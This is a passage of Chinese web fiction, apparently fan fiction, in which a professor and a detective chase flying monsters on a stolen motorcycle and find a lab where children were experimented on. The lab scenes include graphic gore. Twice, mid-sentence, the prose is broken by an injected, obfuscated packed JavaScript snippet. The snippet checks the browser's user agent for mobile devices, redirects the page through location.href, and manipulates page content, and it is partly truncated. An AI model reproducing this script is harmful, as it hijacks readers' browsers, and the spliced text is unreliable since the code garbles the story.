他说,看到夏章雾脸上浮现的诧异,于是又多加了一份解释:“我刚刚入侵了几条街道的监控系统。” 现在整个青森县上空大致有几十支这类怪物组成的队伍,朝着四面八方散开飞去。由于它们为了尽快离开,飞行轨迹几乎都是距离最短的直线,所以理想情况下,只需要测明两支队伍的飞行轨迹,就可以找到怪物诞生的地点。 当然,费奥多尔并没有只找两支。 他大概找到了十几支怪物飞行队吧…… “厉害。”夏章雾无比真诚地说,“我现在开始对这个国家的未来感到担忧了。这里的监控都这么容易被入侵吗?” “您也可以用沃尔斯通克拉夫特博士最新发明的软件,效果也是一样的。” “对不起啦,虽然我的笔记本电脑里确实有这个软件,但我觉得我是守法公民。” 夏章雾打了个响指,往天上看了眼:“有这么多绝望的人在,估计事故发生地不是监狱就是人口贩卖窝点。要是有监控倒也值得一去。位置应该不远吧?” 当然,带枪也可以是守法公民的一种。西半球的居民们会很赞同这个说法的。 “就在附近的山脚下。”费奥多尔看了眼夜幕中的山脊,简单地回答。 “那片休眠火山?确实能赶到。不过得找点交通工具。” 夏章雾把左轮插回腰间,目光在大街上扫视起来:“我看看……这个就不错。” 守法公民夏先生飞快地挑中了一台看上去就相当酷的改装鬼火,以令小偷汗颜的速度解除了车上的报警装置,撬掉了锁,依靠对碰点火线的线头启动了摩托车。 “能用。” ——并言简意赅地给出了评价。 夏章雾满意地骑上去,很是熟练地一踩油门然后又一踩刹车,带着这个大型噪音制造机在街道上拐了个弯,又稳稳地停在俄罗斯人面前。 费奥多尔挑了下眉,他看着刚刚流畅无比地完成了整个盗窃动作的人类学教授:“守法公民?” “算我借的啦,回头还!” 夏章雾戴上头盔,很是灿烂地朝俄罗斯人咧嘴一笑,那对金棕色的眼睛在风镜后面闪着狡黠愉快的光。 “咳咳咳。首先,我要声明一下:我不是同性恋。其次,所以你要上车吗,亲爱的费奥多尔先生?” 他歪了下头,笑眯眯地说: “事先说明,只能坐后座哦。” 12. 吔我车尾气和子弹啦! 飙车是一种相当舒适的感觉。 心脏因周围存在的危机而更快地泵送血液,肾上腺素带来的兴奋感令大脑眩晕,迎面而来的强劲狂风让人感觉自己接近飞翔。 如果在这个过程中,还有无数长着翅膀的怪物朝你发动攻击,那就更有意思了。 “嗨嗨嗨,大家晚上好啊!” 夏章雾发出轻佻的大笑声。 枪响、血肉与坚硬之物的撞击、摩托车马达发出的轰鸣、画外音“嘎吱嘎吱”吃爆米花的响动,还有四周有时呜呜响起的警笛共同组成了这个夜晚。 他驾驶着摩托车来了个迅捷的拐弯,身后那些追逐着巨大动静飞来的无眼怪物纷纷反应不及地撞到了墙角上。 或许是因为这些怪物的集群意识逐渐发现了自己无法离开青森县的事实,它们现在似乎已经不再把离开作为最高的目的,而是分散开来,以超乎寻常的憎恨攻击起了还在街道上的人类。 但——这又有什么关系? 夏章雾的笑声几乎就没有停过。他扭过头,很是热情地给那些还能扑腾的丑陋小家伙们吹了声口哨,接着再次踩住油门,“芜湖”一声就冲了出去。 这些生物的结构本就不适宜于攻击。它们的身躯太过脆弱,不过是一层薄薄表皮与肺泡的组合,顶多里面还有几根纤细中空的骨骼。 它们最大的攻击手段也只不过是把自己当成子弹发射出去,尝试撞碎人类的几根骨头,把自己的骨头扎入他们的血肉中。当然,按照夏章雾自己的看法,这攻击力还不如它们的长相大。 更何况,在有高速移动载具的情况下,这些东西往往只能成为鬼火摩托的新涂层——希望原车主能喜欢这种涂层,希望吧。 “你们也晚上好——哦,抱歉。现在该给你们说晚安了,再见,倒霉蛋们!” 伴随着一阵极其刺耳的轮胎摩擦声,在又一次如法炮制地解决了一批追击者后,摩托车正式驶入了郊外。 这里已经没有那么多的遮挡物和弯道了,想要再采取之前对付怪物的方式显然没那么方便。夏章雾抬头简单地看了眼追逐它们的怪物数量,小小地为后面足足几十只的数量“哇呜”了一下。 后视镜里,费奥多尔正在淡定地给自己的手枪装填子弹,然后他转过身去,对着怪物群连连射击了几下,冲在最前面的几只被解决,其余的都陷入了短暂的逡巡状态。 但它们依旧没有放弃目标。 “还有多远,大侦探?” 顺手丢掉头盔,夏章雾喊了声后座的人。 头盔在这种情况下的作用不大,就算能从怪物的自杀式袭击当中保护皮肤与骨头,但它可不能保证自己不得脑震荡。 最重要的是,在面对这种超高速移动靶时,夏章雾并不打算隔着头盔的风镜镜片开枪。 “小朋友们不要学。”吃着爆米花的画外音说话声显得很含糊,这回轮到它津津有味地评价了,“所谓‘鬼火一响,爹妈白养’。行车不规范,亲人两行泪……” 在场的人根本没理它,只当它是白噪音。 “行驶三公里后右拐,进入森林公路后还有一公里的路程!” 在摩托车高速行驶的带来的狂风中,就连费奥多尔都抬高了声音,以求信息能尽可能清晰地传达到对方的耳朵里。 四公里。 夏章雾看了眼仪表盘:嗯,按这样下去两分钟不到就能赶到。考虑到他们两个现在都没戴头盔,还是放慢点速度吧,免得最后死于交通事故。 “你们两个要是一起死了就算殉情。” 画外音在旁边继续发出无聊的闲言碎语。它听上去还在津津有味地吃爆米花,好像真的把面前的场景当成了一部精彩的飙车枪战动作片:“老实说,我还挺期待这一幕的。” 呵呵。 “那我降下速。” 夏章雾一只手抓着摩托车的握把,另一只手极其自然地抽出腰间左轮,往对方丢去:“大侦探,帮忙装下子弹。” 费奥多尔没有接话,只是伸手稳稳地接住了手枪,然后摸出弹匣,十分娴熟地给左轮装上适配的子弹,重新扔了回去。 夏章雾反手拿住,在熟练地掂了两下后,便朝身后扣动了扳机。 摩托车拐出条漂亮的弧线,子弹擦着俄罗斯人的头发击中了正朝他们冲来的一只怪物。其余的追击者瞬间四散飞开。 他满意地收起枪,想学着电影潇洒地吹散枪口的硝烟,结果发现风太大,烟才刚冒出来就已经消失得无影无踪。 “……”夏章雾面无表情地把枪握紧,假装自己根本没有装逼失败,转头就把矛头指向了某位无辜的观众。 “喂,刚刚你躲都不躲一下的样子真的很让人没面子耶。”他虚起眼睛,吐槽道,“好歹给点反应,不然我都要怀疑你没通过图灵测试了。” “您的枪法很准。”而且还特意让摩托车拐了弯,让后座的人可以避开弹道。 费奥多尔的声音带着隐约的笑意。夏章雾听出来了,他对此的回应是不轻不重地“噫”了一下。 由于车速降低,风虽然依旧在猎猎作响,但已经不像是之前那样仿佛能吞没和席卷周围一切的声音。他们能够很清楚地听到彼此的谈话。 “行吧。”夏章雾说,“你的枪法也很漂亮。” 稍微沉默了一瞬,他通过后视镜看眼对方手里的枪,意有所指地说:“哪天要是举行猎鸟比赛,我肯定帮你报名。” 对方手中拿着的是一把半自动气动手枪。 后坐力小,声音小,子弹容量充足。虽然威力也很小,但这次它面对的是比鸟类更脆弱的怪物。所以简而言之就是根本不存在缺点。 唯一的问题在于:这玩意是专门拿来猎鸟的,正经人谁会带这种枪出门啊! “错误的,这根本不是缺点。”画外音终于停下了吃爆米花的动作,一本正经地更正,“它的缺点应该是让只有左轮的某人酸得要命才对。” 夏章雾:“……” 可恶!瞎说什么大实话! 他拧住摩托车的握柄,再次在宽阔的大路上面划了一个圆弧,直接撞入更加黑暗的森林公路中。 身后传来低沉的、令人不适的嗡鸣声。在进入森林后,这些怪异的追逐者第一次发出了人类也可以听见的动静。夏章雾侧了一下车身,躲过一只箭矢一般擦过的怪物。 就算是有着子弹的威慑,后面那些似鸟似虫的生物攻击频率也越来越高了。 夏章雾和费奥多尔的视线通过摩托车的后视镜交汇。 “弹匣给我,交替射击。” 夏章雾很快就做出了决定。他伸手接过对方抛来的弹匣,丢到口袋里,然后再次拔出左轮,开始点射距离最近、攻击欲.望最强的几个个体。 怎么说呢,他有时候挺庆幸自己这次带来的热武器是左轮的。 毕竟稳定性高——不过气动手枪也一样。 同时后坐力小——不过气动手枪也一样。 而左轮的问题在于,子弹容量只有六发——这大概是气动手枪的三分之一左右吧。 夏章雾再次陷入了沉默:所以他当时为什么会选择带左轮出门?难道是觉得自己的生活太没有挑战性了吗? 抱着深刻且突如其来的自我怀疑,夏章雾很快就打完了一轮子弹,开始用口袋里的弹匣快速地进行替换。 身后气动手枪清脆的声音接替了他。 由于子弹更多、而且不用分心驾驶,俄罗斯人的射击选择显得从容得多。他并没有管大多数可以靠夏章雾用车技避开的危险个体,而是尝试尽可能地用一发子弹击杀复数个的怪物。 就像是夏章雾说的那样,他的枪法很“漂亮”。 夏某人从后视镜里看了眼,感觉这家伙在这方面要么是用了一百年的枪,要么就是个不折不扣的天才。 嗯,当然他也有可能是作为天才练了一百年的枪什么的……反正夏章雾觉得哆啦费梦身上发生任何事都很合理,就算对方哪天一边说着“真拿你没办法”一边掏出任意门,说自己是二十二世纪狸猫型育儿机器人他都能接——不行! 就这个完全不能接受! 这家伙有可能是狸猫,有可能是机器人,有可能属于二十二世纪,但绝不可能和“育儿”有关系!至少夏章雾光是想象一下这种画面,胃部就不由自主地开始痉挛了。 “?” 大概是夏章雾的痛苦面具太显眼了,费奥多尔在开枪之余丢过来了一个表示疑惑的眼神。 “呕,咳咳咳——我在想,我们的目的地除了不知道存不存在的监控,应该还有别的惊喜在等待着我们。否则它们的攻击也不会这么疯狂。对了,现在是轮到我开火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135981|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?” 夏章雾捂着喉咙剧烈地咳嗽了几声,若无其事且语速飞快地一口气聊了好几个话题,尝试用这种方式岔开对方的注意力:“我已经换好弹了,还需要几轮才能把它们全部解决?” “还有两轮。” 费奥多尔重新为枪上弹,这么回答。 他也许注意到了对方的某些不对劲,也许没注意到。但不管如何,他不打算深究,这让夏章雾放松了很多,重新把注意力放在了驾驶和射击上。 真的,夏章雾也不愿意让对方知道自己脑子里正在想的是“俄罗斯人该如何育儿”,毕竟这听起来也太他妈奇怪了…… 接下来是同样的流程。 换弹,射击,偶尔还需要躲开那些自杀式的乱七八糟攻击。等到他们彻底解决完身后的这些紧追不舍的亡灵时,两个人已经到了下车的地方。 到了这一步,甚至都不需要费奥多尔进一步地指出具体的方向:两个人都闻到了森林当中浓郁的血腥味。 森林中的大型猛兽可能都已经到这里来吃完一遍自助餐了。 接下来路两个人并没有走多久。每隔一段路他们就能不出所料地看到几截似人非人的怪异肢体。最后,他们找到的是一个通往地下的通道。 里面的入口已经被暴力破坏。鲜血与消毒水的气味混合着。里面的电路似乎出了问题,以至于入目所及的每个地方都漆黑一片。 更下面的道路接近于迷宫,无数的通道彼此汇通,无数似鸟非鸟的尸体撞死在附近,被踩在两人的脚底下——它们依靠自己的死来帮同伴们辨明了迷宫正确的方向。 也帮了夏章雾他们辨别方向。 这下真是“伟大,无需多言”了。 但两个人还是都打开了手机的手电筒功能,并且很有默契地都没有去仔细打量脚下那些踩上去质地十分柔软的怪物长相。 “先去配电室?” 夏章雾提议道。 “走这边。” 费奥多尔大概是点了点头。但夏章雾没有拿手电筒去照对方的兴趣,所以并没有看到。他只是跟着对方的脚步,穿过一个又一个厅室。 直到来到某个地方。 虽然在踏入这个大型地下结构第一步时,两个人就不约而同地意识到了它到底是什么用途。但在此刻,夏章雾还是发出了一声毫无起伏的感慨。 “酷。”他说,“上一章我还在想这里是监狱或者拐卖窝点。那时的我肯定没想到,这里竟然可以两者兼而有之,甚至青出于蓝而胜于蓝。” 手电筒的灯光轻轻地晃了晃。 映入眼帘的是大量的人类尸体标本。这些尸体标本很小,有部分进行了脱水处理,就显得更小。夏章雾从他们的器官发育程度估算了一下,发现他们绝大多数都还没到青春期。 甚至大概只有八九岁的年龄。 说句实在话,他们的长相和那些怪物比也好不到哪里去。让人很难想象他们生前到底遭受了多少折磨——但肯定比监狱要糟糕得多。 同样,只要稍微动动脑筋就能知道:这些孩子也绝对不是从土里面冒出来或者自愿来这儿的。 “来源应该是孤儿院。这样大批量的人口失踪,如果是有父母的孩子,很难压下舆论。” 费奥多尔扫视着这些标本,平淡地说道。 “这是在安慰吗?” 夏章雾虚起眼睛:“真的安慰应该是‘放心,这里的所有人都死了,一个都不剩’吧。” “这个的话。” 费奥多尔看了看周围:“也有很大可能。” 这里没有一个人影,只有死亡的气息。 “……我倒也不是真想要这种安慰。” 这回,夏章雾沉默了片刻后才幽幽地开口。 他再次扫视周围,随后便离开了这里。费奥多尔在他身后,露出若有所思的神情。 “您似乎很喜欢小孩子。”他说。 “人类幼崽很麻烦。”夏章雾的声音从黑暗中传来,“但怎么说呢,我倒确实挺爱他们。” 随后他们便谁也没有主动开口,直到夏章雾的脚步突然停下。 “有人。”他的声音压低了,“活的。” 嗯,也有可能是死的。 他想:这个世界连会说话的蛇都有,万事万物倒也不必那么肯定。 13. 自己~吓自己~ 坂口安吾现在有点慌。 他看着前方那几具足够对人类理智造成巨大冲击的怪异尸体,小心翼翼地缩回了手。 刚刚,这个玩意的肌肉是跳动了一下吗? 坂口安吾有些不确定地想着,紧张地往后慢慢退去。他不知道这个生物是尚未完全死亡,还是死去没过多久,以至于肌肉还处于神经末梢尚未完全坏死的状态。但他决定对面前的场景抱以最悲观的想象。 手电筒的光线移开了,他走了另外一条路。 年仅十五岁的坂口安吾先生,正在进行自己十五年来人生中最刺激的冒险。事实证明,这或许有点太刺激了。 ——所以,他当时为什么要热血上头地独自跑到荒郊野外的实验室来? 踩着地板上软黏的人体组织,坂口安吾苦着一张脸,第十三次地这么询问自己。 本来这应该是一个十分寻常的晚上。 坂口安吾本来应该好好享受学校宣布暂时停课后的短暂假期,早早地上床睡觉——尽管他们在三天前才刚刚开学。 上个月倒有不少学校处于提前开学状态。但它们很快就被层出不穷的怪物事件制裁了。坂口安吾的学校顶着前辈们的压力,象征性地开学了一天,然后就在家长们的抗议下飞快地发布了停课通知。 于是学生们自由了。 坂口安吾也是。 但作为独自在外生活的学生,就算不上学,他每天也有不少事情要忙,倒也不算完全意义上的自由自在。 他需要打工,还要研究自己不久前才被发现的特殊能力:这份能力被他称为“堕落论”,能够让他看到事物身上的“过去发生之事”。 从某种程度上来说,有了这份能力,坂口安吾就能拆穿每个魔术师的戏法了。 当然,在游戏表演中搅局并不能带来任何实质上的收获:倒是很有可能被愤怒的魔术师与粉丝团揍一顿。对于自己异能的发展,坂口安吾显然有些不同于这个的想法。 他认为自己的异能有必要用到更——嗯,更正经的地方。 比如说,用来破解悬案? 说起来,青森现在就有一个案子。 于是很顺理成章的,坂口安吾把目光放到了青森愈演愈烈的怪物案件上。但还没等他想出具体的方案,意外就比明天先一步找上了他。 整个事故可以被概括为四个字: 高空抛物。 案发现场非常恶心,就连作者都不想描述太多。因此后文再也不会提及这次可怕的事故,但具体的情况还是要解释一下:似鸟非鸟的怪物直接撞成了肉泥,组成它身躯很大一部分的肺泡发生了爆炸,结果可想而知,你能想到的各种东西都四处乱飞。 值得庆幸的是它的身躯只有指甲盖那么大,没法制造太的灾难现场。 但比较不太值得庆幸的是,不止它一个。 所以场面有点像是个乱糟糟的人体屠宰场,或者把人类丢进了低精度绞肉机。某些可疑的器官在一片烂泥离奇地保持了某种活性,在地板上面蹦蹦跳跳…… 很好,就这么多。 作者再也不想描述这种恶心的场景了,至少不会再提这个场景了。 可想而知,坂口安吾的大脑当时稍微暂停运作了几秒。 否则他也不会下意识地对这些明显是尸体的玩意使用异能:不久前坂口安吾才尝试过,自己的异能对活物和尸体都无法起效。 但这一次,它偏偏起效了。 坂口安吾深吸了一口气,紧紧攥着手电筒。 他回想起了自己通过那些尸体看到的东西:与平时看到的“留在物品上的记忆”不同,他这次看到的是一个孩子的回忆。 相对于一个人生命理应拥有的长度,他看到的内容短得可怕,甚至大多数只有片段和模糊不清的闪回:其中绝大部分都是原主在这里经历的实验,少部分与黑暗、饥饿,作为怪物飞翔的记忆有关。 在前者当中,许多场景甚至比怪物更骇人。 坂口安吾抿了抿唇。 他又想起来那几幕了:一张完整人皮被血淋淋揭下来的一幕,还有把人们一同驱赶着关进高温实验室的一幕。 这几幕后面都有一个冗长的、似乎会对人类的发展作出极大贡献的主题:像是创伤后结缔组织的大规模有序生成,高度变性蛋白质的复性之类的东西。 这段记忆的主人似乎也是异能者,有着超乎常人的恢复能力,但他也尝受了超出人类接受能力的痛苦。那种撕心裂肺的感觉甚至让坂口安吾感到了隐约的幻痛。 “人渣。”坂口安吾低低地骂了一声。 他的目光再次变得坚定起来,拿着手电筒,继续向前走去。 无论如何,他都要知道更多的真相:不管是这个实验室存在的目的,还是记忆主人最后变成一只丑陋怪物的原因。这就是为什么他大晚上突然失心疯般的独自跑到了这里。 他要用自己的异能找到这些事背后的真相。他不能把揭开真相的希望全都寄托在警方上:谁都知道,这种大型研究所肯定和官方有关。 手电筒扫过这里沾满鲜血的一片狼藉。坂口安吾推开另一扇门,在门张开缝隙的瞬间,他因为从内涌出的某种寒意而屏住了呼吸。 死亡。 虽然仅仅在记忆当中看到过“死亡”的场景,但坂口安吾确定,这就是死亡的味道。 坂口安吾握着门把手,深吸了几口气,然后将其完全推开——这里似乎爆发了一场战斗,有不少仪器都被撞翻和摧毁了。大面积的血液被泼溅得到处都是。 没有尸体,连怪鸟组成的血肉地毯也在这儿消失一空。只有死亡在这里浓郁得近乎于实体。冰冷的感觉宛如跗骨之蛆,从脚踝攀附而上。更加浓郁的血腥味弥漫在周围。 呼。 坂口安吾按着胸口,安抚自己过快的心跳,然后伸手摸向这里的仪器,开始读取记忆。 在仪器所承载的庞大信息中,他快速地寻找着停电前后的片段,一幕幕画面飞快地在他的大脑中闪过:设备停电、肉色漩涡般的鸟群密密麻麻地飞过、某种凄厉可怖的哀嚎声在各个方向响起、研究人员在绝望中躲进这个房间…… 然后他们也在黑暗中变成了怪物。 一种与怪鸟不同的怪物。 坂口安吾在快速闪过的记忆中睁大眼睛,努力辨认着它们与地球上任何生物都不相似的外貌,尝试把怪物亵渎的三角形头颅和覆盖厚重毛发的身子映入脑海。 但很快,他就意识到:这些怪物和他刚刚避开的怪物尸体属于同样的种类,只是它们此刻还显得干瘪而枯瘦,远远没有那样庞大。 它们是怎么变得那么大的? 坂口安吾的疑惑很快就得到了解答:在仪器的记忆中,这些怪物在刚诞生不久就开始彼此吞食。在这个过程当中,它们的身躯被“填满”了。 枯瘦干瘪的身体变得粗壮,它们飞快地成为了黑暗当中富有压迫感的巨大躯体。然后最终的胜利者开始捕食房间里到处都是的怪鸟。 等到这里没有第二个活物,它便撞开了大门。坂口安吾猜测它去是寻找更多的食物了。于是整个房间便安静下来,再也没有什么值得注意的事情。 “电力系统是在它们出现前破坏的吗?” 坂口安吾放开手,困惑地自言自语。 他是一路用异能摸过来的,所以对这个研究所内发生的情况还算了解:在不久前,这里同时存在着两种怪物。一种是实验体变成的怪鸟,一种是他找不到词汇形容的巨大怪物。 怪鸟似乎由一个意识控制,一直在尝试离开研究所。另一种怪物则是在研究所里徘徊,尝试杀死自己的同类,并把它们吃掉。 但坂口安吾没有想到,电力瘫痪竟然不是后者造成的。 “可这不对啊。” 坂口安吾皱着眉,他用手电筒来回照射着这里的地板:“我之前看了那么多怪鸟的记忆。虽然很模糊不清,但它们作为怪物诞生时,周围也已经黑了……” 是研究员在还是人类时主动切断了电源? 还是研究所里存在第三方? 坂口安吾回头看了眼:这个答案很有可能就在巨大怪物的尸体上。 现在只能指望它们真的如外表看上去那样,已经死透了…… 坂口安吾自我安慰了几句,转身向来时的路走去。但才走了几步,他就停下了步伐,感觉背后冒出了一层冷汗。 ——等等? 刚刚在他走路时,是不是传来了一个不属于他的动静? 有人?还是说还活着的巨型怪物? 坂口安吾咽了口吐沫,谨慎地向前一步。 没有第二个人的脚步响起。 他迈出第二步。 也没有。 “也许是自己吓自己吧……” 坂口安吾努力挤出一张比哭还难看的笑脸,然后猛地开始奔跑起来。 ——鬼才相信刚刚的声音是错觉!在这种地方再怎么小心都不为过! 他跑出房间,随便找了个方向就闷头跑了起来:虽然并不知道对方的具体位置,但随便选一条路,他总不至于这么倒霉,正好就被那个还在活动的东西碰到。 然后他的视野中就多出了一道迎面而来的强光。 这条路上有人! 坂口安吾慌乱地用手臂挡住自己的脸,结果不小心被地面上的什么东西给绊了一跤。在跌下去的那一刻,他的内心只有一种想法。 完了。 坂口安吾绝望地趴在人体组织铺成的地毯上面,想象着接下来自己到底会有什么样的死法,而胃部再次抽搐起来。 他的鼻尖几乎就要和地面上的肉泥贴在一起了,而那些没有面目的尸体似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他对上那个外国人的酒红色眼睛,内心稍微挣扎了一下。 “因为……我的异能?” 他小声说:“我的异能可以看到物体身上承载的过去。我是一路追着线索找来的。” 坂口安吾没有撒谎来掩饰自己的异能。 一方面是他的演技并不很好,另一方面是某种强烈的直觉正在警告他:最好别在这个人面前说谎话。 “是这样吗?很有用的异能。” 对方笑了一下,视线挪开。坂口安吾依旧在警惕地打量着他,发现对方似乎对自己的异能没兴趣后,不知怎的突然松了口气。 “情报类的异能力啊,确实有用。” 另一个卷毛男人在旁边探头探脑:“不过现在是不是到该睡觉的时间了?成年人就算了,小孩子还是长身体的时候,小心你长不到一米七五变成二级残废……” “我肯定能长到一米七五以上!不对,我的意思是你们不能把我赶回去!” 坂口安吾的脸一下子红了:“我能看到你们不知道的信息,这很有用的!而且你们也是来调查这个的,总不可能先专门把我送回去吧?” “不要那么自信哦,小子。其实对于日本人来说,想要长到一米七五还是有点困难的。” 对方双手插兜,针对坂口安吾的前半句话表示了相当程度的怀疑,至于针对后半句话,他则是稍微沉吟了几秒。 “说下名字吧。”他说。 这是同意不赶走他的意思吗? 坂口安吾只是犹豫了不到一秒: “坂口安吾?” “哦?原来是叫坂口安吾啊。” 夏章雾发出了意味深长的声音。 “不过,你确定你只是叫坂口安吾,而不叫太宰治江户川中岛敦织田作之助中原中也人间失格果戈里爱手艺布拉拉威尔斯森医生尾崎红叶与谢野晶子宫泽贤治福地大仓烨子春野绮罗子广津芥川立原福泽谕吉国木田谷崎兰波魏尔伦爱伦坡菲兹杰拉德玛格丽特霍桑路易莎蒙哥马利斯坦贝克普希金赫尔曼伊万虫太郎田口六藏绫辻京极涩泽亚当樋口一叶辻村深月条野……吗?” “?” 坂口安吾感觉自己的头上冒出了个问号。 这几十个名字是什么鬼啊?其中一大半光是看上去就和他毫无关系吧!而且你这家伙,能不能把其中的女性名字和国外名字去掉再问他! 某位俄罗斯人微微地侧过眼眸。 “您能记住的名字。”他说,“看来还挺多。” 夏章雾脸上的戏谑表情一僵:“……” 哦豁,光顾着调侃读者,忘记他了。 ——这 下 完啦。 14.这人怎么这么坏啊 最后,夏章雾还是没有因为“明明能报出一大堆名字但偏偏就记不住侦探的名字”而遭遇什么糟糕的不幸。 不过还是对此留下了相当深重的心理阴影就是了。 于是出于某种并不想面对某个俄罗斯人的缘故,夏章雾很快就把自己的注意力转移到了坂口安吾的身上。 “我还是认为,未成年人最好不要加入这么危险的探索活动。” 他盯着坂口安吾,表情难得有些严肃:“就算异能再特殊都不行。要是看到过于具有冲击性的画面,留下心理阴影怎么办?” “我已经看到很多有冲击性的画面了——” 被提溜着领口的坂口安吾表示抗议:“我只是想知道真相!” 一时间,整个场面就像是过度担心的主人在和他家热情的警犬进行拉锯战。俄罗斯侦探在旁边可以说是津津有味地围观着:他似乎很乐意于见到夏章雾先生花费浑身解数地和小朋友打交道的场景。 一直到坂口安吾再次遭到成年人的物理制裁,没好戏看的费奥多尔才慢悠悠地收回目光。 “前面的走廊有东西。”他说。 “我听到了。” 夏章雾拽住还在扑腾的小孩,冷静地回答。 他们正在一扇和之前经过的所有门都不相同的大门前。它很厚,所以避免了被这里到处都是的怪物撞开的命运。它也没有运用任何高科技,所以在停电后并没有被锁死,在拨动正确的机关后依旧能够打开。 ——顺便一提,坂口安吾扑腾得那么厉害,就是想要用异能读出这扇门的密码。 夏章雾眯了眯眼睛。 从理论上来讲,这扇特殊的门应该通向一个重要地区,比如监控室、档案室、供电室之类的。 但从实际上讲,他只听到了门外正在传来窸窸窣窣的不安声响。那是一种让人联想到蛇在光滑地面上扭动身躯的声音。 当然,那不可能是条蛇。如果真的是——按照声音的大小来看,它至少也得是条森蚺或者肥胖过度的缅甸蟒。 全场没听见这声音的只有坂口安吾。 刚刚还在和大人“搏斗”的未成年人类幼崽完全没有注意到外面的响动。他有些紧张地看了眼门的方向,很快就恢复了该有的警惕。 “我们要换条路走吗?”他问。 “不用。” 坂口安吾只得到了这样的回答,然后他就感觉正提着自己领子的大人把自己丢了出去。接住他的则是旁边的俄罗斯人。 “帮忙照顾一下,别让他跟过去。” 夏章雾低头瞧了眼坂口安吾,咧了咧嘴:“现在的未成年人比勃朗特家里的吉佩都难溜。狄更斯家里的格里普都比他听话——我去看看情况。” 他上前一步,扭动门上带着刻度的把手,专注地听着门内传来的机关扭动声:这种东西他在给柯南·道尔当侦探助手时见得多了,闭着眼睛都知道该怎么破解。 费奥多尔点点头,以极其自然的态度提溜着坂口安吾,动作与夏章雾如出一辙。 “吉佩和格里普是谁?”他问。 “一只狗和一只会说话的乌鸦。” 夏章雾走入缓缓打开的出口,他的语气突然变得格外沉痛:“一只负责整天对任何可疑的东西狂叫,另一只负责整天到处宣扬它是魔鬼。我发誓,没人会想见到它们,真的。” 他离开的背影充斥着悲壮的气息。但在场的两人都很肯定:这种悲壮和走廊的不知名存在无关,只是因为他想起了和吉佩与格里普有关的过去而已。 坂口安吾看着这一幕,沉默几秒。然后他转头望向费奥多尔。 “我记得你是侦探。他是大学教授。”他说。 之前在路上他们就彼此做过介绍,所以坂口安吾清楚这一点。 “是这样。”费奥多尔简单地说。 “所以为什么是他去探路?” 坂口安吾镜片后的眼睛睁大了,他发出来自灵魂深处的疑问:“总不能是他比你能打吧?” 你们的相处模式一直这么奇怪吗? 费奥多尔歪了下头,然后笑了起来:“不知道,也许因为他是好人?” 一个喜欢把自己放在最危险的境地里、独自承担未知风险的好人。一个会下意识地去保护自己并不喜欢的人类的好人。一个虽然很不靠谱、但总会在危险时展现出靠谱一面的好人。 “不要在背地里诅咒人。” 外面突然传来一个幽幽的声音:“好人是要上天堂的。我这么做唯一的原因就是:我相信自己不会死在这里。” 门再次打开了。夏章雾提着手电筒,没事人一般地重新又走了回来,一来一回的速度快到像是忘带手机出门的人。 “用比较先知的话来说,”他耸了耸肩,“命运可不会允许让我在这里倒下。” 画外音嘟哝了一声。 “是啊。”它十分不满地自言自语,“我确实不能让主角莫名其妙地死掉,读者们会把我杀了的!该死,我下次写小说一定要写群像剧,里面最好连一个主角都不要有。这样我想写死谁就写死谁……” “外面没有危险。” 夏章雾没理会陷入自暴自弃的作者,简单地解释着外面的情况:“但确实有个大家伙。不必在意,它已经快要死了。” 费奥多尔瞬间明白了情况。 “那些集群意识的主脑?”他问。 “没错。” 夏章雾扭头看去,他的眼中多了几分复杂的神色:“就是和我想象得不太一样……” 一般来讲,集群意识的主脑是整个群体当中最高级的存在。它们是君王或者王后,所有的分支都是它们的子民,高贵的身份毋庸置疑。 但走廊中的生物…… 只是一种冗余。 只是一种人体的屠宰场与垃圾场。 这是坂口安吾被大人提溜到现场后,脑海对面前的景象,唯一能做出的描述。 几十个人的尸体,被拆分成零碎,然后把它们中那些还具有价值的部位拿走,剩下的全部随机打乱,像拼图一样重新组合成一个粗陋的、烂泥一样的个体—— 这就是他看到的画面。 毛发生长在淡黄色的脂肪粒上,神经从裸露的脊椎里伸出,连接各个怪异而无法形容的肌肉堆,让它们时时动弹一下,像是剥皮青蛙在电流中抽搐的腿。 血管怪异地在空气当中颤抖着,内部里面堆积着可怖的瘤状物。很多部位已经坏死、腐烂,膨胀的内部充斥着可怕的腐败气体。 这个巨大怪物的肢体在地板上呈现出痛苦的痉挛。一只连接着神经与血管的眼睛垂在坂口安吾的脚边,用还能放大与缩小的瞳孔紧紧地盯着他。 如果不是这只眼睛,坂口安吾甚至无法确定这就是活物。但正是“这种东西是活着的”认知让他感到恶心。 他紧紧拽着夏章雾的手。 之前,这个一直不想让他看到太刺激画面的男人在他走进来的瞬间就捂住了他的眼睛。但坂口安吾这次的拒绝态度实在是太过于坚决,以至于他都没法拦住: “我要看看他们现在的样子。” 坂口安吾的声音有着轻微的颤抖:“现在只有我知道他们作为人类时是什么模样了。” 这个古怪的人类学教授于是只好松开手。他注视着面前的东西,陷入长久的沉默。 “六十个左右的孩子。” 在过去了像半个世纪那么久的时间后,他终于说了第一句话:“我一开始以为是成年人,所以只估算了三十多个。这里进行的实验规模要比我想象中大得多。” “那些人已经死了。” 费奥多尔认真地看了夏章雾一眼,开口道。他的嗓音依旧很平静,让坂口安吾都稍微镇定了些。 夏章雾没有回答,反倒是画外音嘟哝了起来。 “确实都已经死了。” 亲自设计了这个场景的作者稍微有点心虚,它尝试戳戳自己的主角:“你大可以不用太关注这个。他们会肯定遭报应的,这可是来自作者的亲自认证。” 夏章雾“呵”地笑了下。 “真是可怕的悲伤。” 他用没什么波澜的语气说。 “可怕?”费奥多尔侧了侧头。 “可怕就可怕在,里面只有悲伤。” 